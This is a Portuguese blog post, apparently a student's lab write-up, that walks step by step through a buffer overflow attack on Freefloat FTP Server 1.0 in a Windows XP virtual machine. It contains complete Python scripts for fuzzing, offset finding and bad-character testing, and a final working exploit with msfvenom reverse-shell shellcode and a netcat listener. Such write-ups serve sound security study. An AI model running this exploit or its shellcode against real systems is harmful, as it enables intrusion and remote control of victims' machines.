Pular para o conteúdo principal

... o Ataque de Buffer Overflow!

Buffer Overflow, ou transbordamento de dados, é um ataque que viola a segurança da memória. Eu irei explicar um pouco o que aprendi com este projeto enquanto descrevo os passos desse ataque!

No site exploit-db, eu procurei por exploits já documentados que usam o Buffer Overflow para realizar seu ataque. Encontrei este que explora a vulnerabilidade no Freefloat FTP Server 1.0: 

Em um primeiro momento, fiquei totalmente perdida de como seguir em frente, então muito obrigada ao cY83rR0H1t com o artigo Windows Buffer Overflow Exploitation — Freefloat FTP Server, que serviu como um guia. Não está tão completo, eu tive que pesquisar muito para entender tudo (ou o suficiente, aposto que ainda tem muito mais para aprender). Convido você a fazer o mesmo: aqui está um link para download de tudo o que você precisa!

Requisitos:

  • Windows XP com SP3 
    • FreeFloat FTP Server 1.0 (você pode fazer o download no próprio site do exploit)
    • Immunity Debugger
  • Kali
  • Metasploit Framework (já vem)

O ataque

Depois de criar a VM com o Windows XP com SP3 como alvo e já tendo a VM com Kali, eu coloquei as duas na mesma rede. 

Na máquina alvo, deixei rodando o Freefloat FTP Server em segundo plano e no Immunity Debugger, fiz um attach do processo. Assim, qualquer requisição que passar pelo serviço vai passar, também, pelo Immunity Debugger. 

Veja o IP da máquina para os seus scripts. Ele mostra quando abrimos a aplicação


Dica: se não tiver assim, colorido no lado, vá em Debug > Restart

Note: o programa deve estar running

Agora, no Kali, começamos o exploit. O primeiro passo do ataque é o fuzzing, que consiste em enviar entradas inesperadas para o processo com o objetivo de encontrar vulnerabilidades do programa. No ataque de buffer overflow, essa etapa consistiria em mandar strings progressivamente maiores para diversas variáveis até que o programa quebre (crash). Como esse é um exploit conhecido, sabemos que a variável USER vai ser nosso ponto de entrada e que o programa quebra quando ela recebe uma string de 300 caracteres (300 bytes). Eu enviei o script abaixo para ver o programa quebrar e ver como ele fica no Immunity Debugger, mas podemos considerar que este seria o script final da etapa de fuzzing. 



No arquivo fuzz.py:

#!/usr/bin/python
import sys,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('172.16.182.140',21))
buffer = "A" * 300
s.recv(1024)
s.send(("USER " + buffer + "\r\n").encode())
s.close()

sys.exit()

Sendo o IP 172.16.182.140 o IP do meu alvo e 21 a porta padrão do FTP.

No terminal:

python3 fuzz.py

No Immunity Debugger podemos ver os “A”s no memory dump, e na parte de registradores, conseguimos ver que o EIP está apontando para o endereço 41414141, que é o que fez o programa quebrar. Isso porque o EIP aponta para o endereço da próxima instrução a ser executada pelo processador. 

Programa "quebrou"

   
Primeira imagem: Memory dump cheio de "A"s. Segunda imagem: Registradores. Note o EIP com "414141". 

Essa é a tabela ASCII 7-bits. Por ela, sabemos que o "A" é representado pelo número 41 em hexa (notação: \x41)

O nosso ataque vai consistir, basicamente, em “sobrescrever” o EIP com o endereço de uma instrução que execute o nosso código malicioso. Quando um dado é adicionado à pilha, no entanto, ele é armazenado no registro ESP. Logo, o segundo passo do ataque é o cálculo de quantos bytes são necessários para chegar ao fim do buffer até alcançar o EIP. Para isso, fiz uso de uma ferramenta do metasploit framework para criar um pattern com a quantidade de caracteres que encontramos no fuzzing. 

Não se esqueça de reiniciar a aplicação

No terminal:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300

O output desse comando será uma sequência de bytes não repetidos que enviaremos. 

Copie o output. Ele é o valor da nossa variável buffer no script que vamos mandar.

No arquivo pattern.py:

#!/usr/bin/python
import sys,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('172.16.182.140',21))
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
s.recv(1024)
s.send(("USER " + buffer + "\r\n").encode())
s.close()

sys.exit()

No terminal:

python3 pattern.py

O programa quebra, novamente

Enviando esse pattern, o programa quebra novamente. No Immunity Debugger, obtemos o seguinte valor escrito no EIP: 37684136. Poderíamos passar essa sequência para seus equivalentes da tabela ASCII 7-bits, procurar por ela no pattern, e contar os bytes de distância. Ao invés disso, usei outra ferramenta do metasploit framework para encontrar a posição desse valor e retornar a quantidade de bytes até ele. 

Nos registradores, estamos buscando a parte da sequência que sobrescreveu o EIP

No terminal:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 300 -q 37684136

O output foi de 230. Esse é o valor do offset. 

Note: apesar de não contar os caracteres, eu fiquei curiosa para achar o valor na sequência. Os hexadecimais 37684136 representam, pela tabela, 7hA6. Você não vai encontrar essa sequência no pattern, mas consegue encontrar ela invertida, ou seja 6Ah7. 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

Isso porque alguns processadores, como os da Intel, guardam os dados na memória com o byte da direita (chamado de menos significativo) primeiro e assim vai até que o byte da esquerda (chamado de mais significativo) seja o último. Esse tipo de notação se chama Little Endian e mantém-se por questões de legado. É preciso saber disso, porque precisaremos passar o endereço desejado para nosso ataque para o EIP desse modo. 

Para comprovar que esse é o offset correto de forma clara, vamos sobrescrever todo o offset com “A”s e o EIP com caracteres “B”s. 

No arquivo EIP.py:

#!/usr/bin/python
import sys,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('172.16.182.140',21))
buffer = "A" * 230 + "B" * 4
s.recv(1024)
s.send(("USER " + buffer + "\r\n").encode())
s.close()

sys.exit()

No terminal:

python3 EIP.py

O EIP tem tamanho de 32 bits, o equivalente a 4 bytes
 

Cada caracter é 1 byte, pela tabela ASCII acima, por isso enviamos 4 "B"s

O programa quebra e, no Immunity Debugger, podemos ver o EIP com o valor 42424242, como esperado. 

Os quatro "B"s que enviamos são os quatro bytes \x42 no EIP

Agora precisamos saber o que escrever no EIP. Queremos escrever o endereço na memória para uma instrução de JMP ESP (jump to ESP). Daí, o que tiver no ESP será executado. Nosso código malicioso estará lá. Antes disso, no entanto, precisamos encontrar os “bad characters”

Toda aplicação tem alguns caracteres que não são suportados, chamados de "bad characters". Temos que ir mandando as possibilidades de hexadecimais e ver quais são eles, retirando-os um por um. 

No arquivo badchars.py:

#!/usr/bin/python
import sys,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('172.16.182.140',21))
badchar = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = b"A" * 230 + b"B" * 4 + badchar
s.recv(1024)
s.send(b"USER " + buffer + b"\r\n")
s.close()

sys.exit()


No terminal:

python3 badchars.py



A área do canto direito mostra onde o ESP está apontando na pilha. O ESP é um registrador que mostra o próximo espaço "vazio" para ser preenchido pelo programa, com instruções ou valores. Então eu vejo qual o endereço da memória que o ESP está e procuro na área de Memory Dump (Ctrl+G)

Subindo um pouco, vemos todos os 230 "A"s e 4 "B"s

No Immunity Debugger, na área de memory dump, conseguimos ver a sequência de 41s, os quatro 42 do EIP, e os caracteres hexadecimais de 01 a 09, mas o esperado 0A não é o que segue. Então removi o \x0A do arquivo badchars.py e o executei novamente. A ideia é fazer isso até que consiga ver no memory dump de 01 a FF. Na nossa aplicação, há apenas dois "bad characters": \x0a e \x0d

\x01 a \x09, ok; o \x0a não é suportado

Retirando o \x0a, o esperado é encontrar do \x01 ao \x09 seguido pelo \x0b

Primeira imagem: Conforme esperado, \x0b depois do \x09. Segunda imagem: Vemos que o \x0d é o próximo "bad character".


Resultado esperado: do 01 ao FF conforme a string final enviada

Note: há formas automatizadas de fazer o mesmo, como usar o módulo do mona no Immunity Debugger. 

Relembrando: com isso, sabemos com quais caracteres podemos escrever no EIP no nosso ataque. Agora precisamos saber o que vamos escrever. 

O que nós queremos é que o EIP aponte para uma instrução JMP ESP com endereço:

  • sem os “bad characters”
  • estático, e 
  • que não tenha a proteção ASLR (Address Space Layout Randomization), que torna aleatório os endereços de memória. 

É comum procurar por esse comando (que equivale, em hexadecimal, a \xff\xe4) em arquivos .dll, que são bibliotecas do Windows carregadas junto com os programas e, em sua maioria, antigos, logo, tem menos chances de ter qualquer proteção de memória. 

Na linha de comando do Immunity Debugger:

!mona find -s “\xff\xe4” -m SHELL32.dll 

Uma lista de endereços aparece. Basta selecionar uma que não esteja em uma área da memória "Read Only" (apenas leitura)

Buscando o endereço na área do disassembler, só para ver que temos a instrução correta

Nosso endereço com a instrução desejada

O endereço selecionado foi 7CBD41FB. Agora, precisamos do nosso código malicioso. Para nosso objetivo, queremos um shell reverso, que obriga a máquina alvo a se conectar com a nossa máquina. Eu usei o metasploit framework para gerar o código: 

msfvenom -p windows/shell_reverse_tcp LHOST=172.16.182.141 LPORT=1234 EXITFUNC=thread -f c -a x86 -b “\x00\x0a\x0d”

Checando nosso IP

O retorno é um shellcode, sem os "bad characters" e o byte nulo, \x00, que indica o final de uma string, que conecta a máquina alvo à nossa máquina pela porta (aleatória) 1234. O parâmetro EXITFUNC=thread diz que só essa thread vai ser encerrada e que o processo principal continua, impedindo, assim, que o programa quebre, alertando o usuário. 

No arquivo bof.py:

#!/usr/bin/python
import sys,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('172.16.182.140',21))
shell=(b"\xd9\xc1\xbb\x28\x9c\x2c\x04\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
b"\x52\x31\x58\x17\x83\xc0\x04\x03\x70\x8f\xce\xf1\x7c\x47\x8c"
b"\xfa\x7c\x98\xf1\x73\x99\xa9\x31\xe7\xea\x9a\x81\x63\xbe\x16"
b"\x69\x21\x2a\xac\x1f\xee\x5d\x05\x95\xc8\x50\x96\x86\x29\xf3"
b"\x14\xd5\x7d\xd3\x25\x16\x70\x12\x61\x4b\x79\x46\x3a\x07\x2c"
b"\x76\x4f\x5d\xed\xfd\x03\x73\x75\xe2\xd4\x72\x54\xb5\x6f\x2d"
b"\x76\x34\xa3\x45\x3f\x2e\xa0\x60\x89\xc5\x12\x1e\x08\x0f\x6b"
b"\xdf\xa7\x6e\x43\x12\xb9\xb7\x64\xcd\xcc\xc1\x96\x70\xd7\x16"
b"\xe4\xae\x52\x8c\x4e\x24\xc4\x68\x6e\xe9\x93\xfb\x7c\x46\xd7"
b"\xa3\x60\x59\x34\xd8\x9d\xd2\xbb\x0e\x14\xa0\x9f\x8a\x7c\x72"
b"\x81\x8b\xd8\xd5\xbe\xcb\x82\x8a\x1a\x80\x2f\xde\x16\xcb\x27"
b"\x13\x1b\xf3\xb7\x3b\x2c\x80\x85\xe4\x86\x0e\xa6\x6d\x01\xc9"
b"\xc9\x47\xf5\x45\x34\x68\x06\x4c\xf3\x3c\x56\xe6\xd2\x3c\x3d"
b"\xf6\xdb\xe8\x92\xa6\x73\x43\x53\x16\x34\x33\x3b\x7c\xbb\x6c"
b"\x5b\x7f\x11\x05\xf6\x7a\xf2\x86\x17\x32\x8f\xbf\x15\x3a\x94"
b"\xed\x93\xdc\xfe\x01\xf2\x77\x97\xb8\x5f\x03\x06\x44\x4a\x6e"
b"\x08\xce\x79\x8f\xc7\x27\xf7\x83\xb0\xc7\x42\xf9\x17\xd7\x78"
b"\x95\xf4\x4a\xe7\x65\x72\x77\xb0\x32\xd3\x49\xc9\xd6\xc9\xf0"
b"\x63\xc4\x13\x64\x4b\x4c\xc8\x55\x52\x4d\x9d\xe2\x70\x5d\x5b"
b"\xea\x3c\x09\x33\xbd\xea\xe7\xf5\x17\x5d\x51\xac\xc4\x37\x35"
b"\x29\x27\x88\x43\x36\x62\x7e\xab\x87\xdb\xc7\xd4\x28\x8c\xcf"
b"\xad\x54\x2c\x2f\x64\xdd\x4c\xd2\xac\x28\xe5\x4b\x25\x91\x68"
b"\x6c\x90\xd6\x94\xef\x10\xa7\x62\xef\x51\xa2\x2f\xb7\x8a\xde"
b"\x20\x52\xac\x4d\x40\x77")
buffer = b"A" * 230 + b"\xfb\x41\xbd\x7c" + b"\x90" * 20 + shell
s.recv(1024)
s.send(b"USER " + buffer  + b"\r\n")
s.close()

sys.exit()


Explicando o payload:

USER  → a variável vulnerável que descobrimos na primeira etapa de fuzzing;

A * 230 → um caracter qualquer para preencher o offset entre buffer e EIP, descoberto na segunda etapa, a de cálculo do offset;

\xfb\x41\xbc\x7c → endereço na memória para o JMP ESP que vamos colocar no EIP, em little-endian;

\x90 * 20 → uma série de instruções NOP, que executa nada (no operation), é só para “amaciar o pulo”, uma prática chamada NOP sled. 

No terminal:

python3 bof.py

Escutando na porta escolhida com nc -lvp 1234, podemos enviar nosso payload, realizando o ataque. 

Escutando a porta antes de executar o script

Agora temos acesso ao computador alvo! 


Dessa vez, a aplicação não "quebrou" com o envio do payload

Mesmo quando o usuário fechar a aplicação, nosso executável ainda estará lá, pois o código foi carregado na memória e independe do programa que serviu como entrada. 



Depois de encerrar o processo, criei um arquivo no Desktop do computador alvo


A partir daqui, o atacante pode instalar spyware, escalar privilégios... Ou seja, o Buffer Overflow pode servir como porta de entrada para muitos outros tipos de ataques. Da próxima vez que quiser acessar esse computador, você pode executar direto o arquivo bof.py, porque tudo o que fizemos antes disso, foi para entender a vulnerabilidade. 

O que eu aprendi com esse ataque 

Eu tive que rever arquitetura de computadores, registradores, aprender conceitos de pilha, como um programa é chamado e lido pelo computador, a mexer no debugger e a ler tudo aquilo na tela; além do ataque em si, da importância do desenvolvimento seguro e de como tratar suas variáveis. Esse ano eu fiz vários experimentos práticos, e acho que esse foi com o qual eu mais aprendi. 

Comentários

Postagens mais visitadas deste blog

... o Desafio de Criptografia da Cifra de Hill.

Nas aulas de Tecnologia de Redes de Computadores , com o prof. Cabrini, nós fizemos uma atividade de criptoanálise . Neste post, não falarei da atividade em aula, pois não convém. Falarei de como resolvi o desafio de criptografia na pasta do professor:  📌 Criptografia é o ' conjunto de técnicas de descaracterização da informação baseada em algoritmos matemáticos' O título do arquivo mostrava que a técnica de criptografia era a Cifra de Hill . Primeiro eu tive que pesquisar qual tipo de cifra era essa, como se codificava e como se decodificava. Tudo isso foi encontrado na Wikipédia [ 1 ], mas de forma simplificada:  Cifra de Hill é uma cifra de substituição  de chave assimétrica A mensagem é codificada com uma matriz quadrada NxN E é decodificada com o inverso dessa matriz O que isso quer dizer?  Uma cifra de substituição significa que a cada letra do alfabeto é atribuído um símbolo e a criptografia se dá pela troca de cada letra da mensagem pelo se  par . ...